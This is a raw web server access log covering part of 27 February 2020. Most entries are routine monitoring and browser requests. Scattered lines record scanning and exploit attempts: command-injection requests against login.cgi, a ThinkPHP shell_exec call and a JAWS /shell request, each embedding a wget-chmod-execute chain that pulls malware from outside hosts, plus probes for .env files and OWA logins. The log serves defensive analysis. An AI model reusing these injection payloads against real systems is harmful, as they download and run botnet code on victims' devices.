212.91.246.72 - - [27/Feb/2020:18:09:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:18:10:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
191.17.145.89 - - [27/Feb/2020:18:11:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
191.17.145.89 - - [27/Feb/2020:18:11:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:18:11:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:18:12:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.134.77.155 - - [27/Feb/2020:18:12:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [27/Feb/2020:18:13:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:18:14:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:18:15:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:18:16:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:18:17:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:18:18:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.94.65.82 - - [27/Feb/2020:18:18:44 +0100] "OPTIONS / HTTP/1.0" 200 - "-" "-"
212.91.246.72 - - [27/Feb/2020:18:19:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
35.188.250.173 - - [27/Feb/2020:18:20:03 +0100] "OPTIONS / HTTP/1.0" 200 - "-" "-"
212.91.246.72 - - [27/Feb/2020:18:20:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:18:21:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:18:22:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:18:23:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:18:24:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:18:25:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
18.144.15.189 - - [27/Feb/2020:18:25:51 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.58.0"
139.162.106.181 - - [27/Feb/2020:18:25:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
212.91.246.72 - - [27/Feb/2020:18:26:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:18:27:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:18:28:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
35.228.55.65 - - [27/Feb/2020:18:28:35 +0100] "OPTIONS / HTTP/1.0" 200 - "-" "-"
212.91.246.72 - - [27/Feb/2020:18:29:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:18:30:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:18:31:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:18:32:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:18:33:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:18:34:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:18:35:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:18:36:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:18:37:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
157.97.91.22 - - [27/Feb/2020:18:37:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
157.97.90.29 - - [27/Feb/2020:18:38:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:18:38:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:18:39:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:18:40:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:18:41:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.217.162.129 - - [27/Feb/2020:18:41:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:18:42:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:18:43:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
128.14.209.250 - - [27/Feb/2020:18:44:03 +0100] "GET /owa/auth/logon.aspx HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:18:44:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
18.144.15.189 - - [27/Feb/2020:18:45:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "curl/7.58.0"
31.44.54.110 - - [27/Feb/2020:18:45:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
35.189.242.66 - - [27/Feb/2020:18:45:19 +0100] "OPTIONS / HTTP/1.0" 200 - "-" "-"
212.91.246.72 - - [27/Feb/2020:18:45:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
35.234.116.182 - - [27/Feb/2020:18:46:14 +0100] "OPTIONS / HTTP/1.0" 200 - "-" "-"
212.91.246.72 - - [27/Feb/2020:18:46:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:18:47:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:18:48:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:18:49:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.161.99.72 - - [27/Feb/2020:18:50:17 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [27/Feb/2020:18:50:20 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [27/Feb/2020:18:50:26 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [27/Feb/2020:18:50:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.161.99.72 - - [27/Feb/2020:18:50:38 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [27/Feb/2020:18:51:02 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [27/Feb/2020:18:51:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:18:52:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:18:53:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
128.14.209.250 - - [27/Feb/2020:18:54:04 +0100] "GET /owa/auth/logon.aspx HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:18:54:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:18:55:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.25.88.174 - - [27/Feb/2020:18:55:51 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [27/Feb/2020:18:56:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:18:57:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:18:58:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.95.63.51 - - [27/Feb/2020:18:58:31 +0100] "OPTIONS / HTTP/1.0" 200 - "-" "-"
212.91.246.72 - - [27/Feb/2020:18:59:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:19:00:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:19:01:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
194.71.197.70 - - [27/Feb/2020:19:01:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [27/Feb/2020:19:02:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:19:03:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
115.20.222.185 - - [27/Feb/2020:19:03:30 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
115.20.222.185 - - [27/Feb/2020:19:03:34 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
115.20.222.185 - - [27/Feb/2020:19:03:40 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
115.20.222.185 - - [27/Feb/2020:19:03:52 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
115.20.222.185 - - [27/Feb/2020:19:04:16 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
18.144.15.189 - - [27/Feb/2020:19:04:26 +0100] "GET /.env.test HTTP/1.1" 404 314 "-" "curl/7.58.0"
212.91.246.72 - - [27/Feb/2020:19:04:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:19:05:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:19:06:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:19:07:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:19:08:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:19:09:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:19:10:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:19:11:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:19:12:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:19:13:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:19:14:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:19:15:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
80.232.240.98 - - [27/Feb/2020:19:15:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:19:16:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:19:17:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
128.14.209.154 - - [27/Feb/2020:19:17:43 +0100] "GET /owa/auth/logon.aspx HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:19:18:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
169.197.108.30 - - [27/Feb/2020:19:18:46 +0100] "GET /owa/auth/logon.aspx HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:19:19:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
167.59.57.150 - - [27/Feb/2020:19:19:52 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [27/Feb/2020:19:20:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.94.29.50 - - [27/Feb/2020:19:20:39 +0100] "OPTIONS / HTTP/1.0" 200 - "-" "-"
212.91.246.72 - - [27/Feb/2020:19:21:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:19:22:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:19:23:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
18.144.15.189 - - [27/Feb/2020:19:23:44 +0100] "GET /.env.example HTTP/1.1" 404 317 "-" "curl/7.58.0"
191.5.245.51 - - [27/Feb/2020:19:23:48 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [27/Feb/2020:19:24:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:19:25:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:19:26:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:19:27:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:19:28:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:19:29:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.101.199.19 - - [27/Feb/2020:19:30:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
109.101.199.19 - - [27/Feb/2020:19:30:14 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [27/Feb/2020:19:30:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:19:31:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
82.178.253.226 - - [27/Feb/2020:19:31:45 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [27/Feb/2020:19:32:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:19:33:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:19:34:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:19:35:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
169.197.108.22 - - [27/Feb/2020:19:35:58 +0100] "GET /owa/auth/logon.aspx HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:19:36:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:19:37:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:19:38:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
114.215.127.140 - - [27/Feb/2020:19:38:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
114.215.127.140 - - [27/Feb/2020:19:38:30 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
114.215.127.140 - - [27/Feb/2020:19:38:31 +0100] "POST /Admin53f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
27.202.117.147 - - [27/Feb/2020:19:39:01 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [27/Feb/2020:19:39:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:19:40:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:19:41:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:19:42:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
18.144.15.189 - - [27/Feb/2020:19:43:11 +0100] "GET /.env.backup HTTP/1.1" 404 316 "-" "curl/7.58.0"
212.91.246.72 - - [27/Feb/2020:19:43:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:19:44:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:19:45:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:19:46:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:19:47:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
128.14.209.226 - - [27/Feb/2020:19:47:40 +0100] "GET /owa/auth/logon.aspx HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:19:48:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
221.125.44.233 - - [27/Feb/2020:19:48:40 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
212.91.246.72 - - [27/Feb/2020:19:49:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
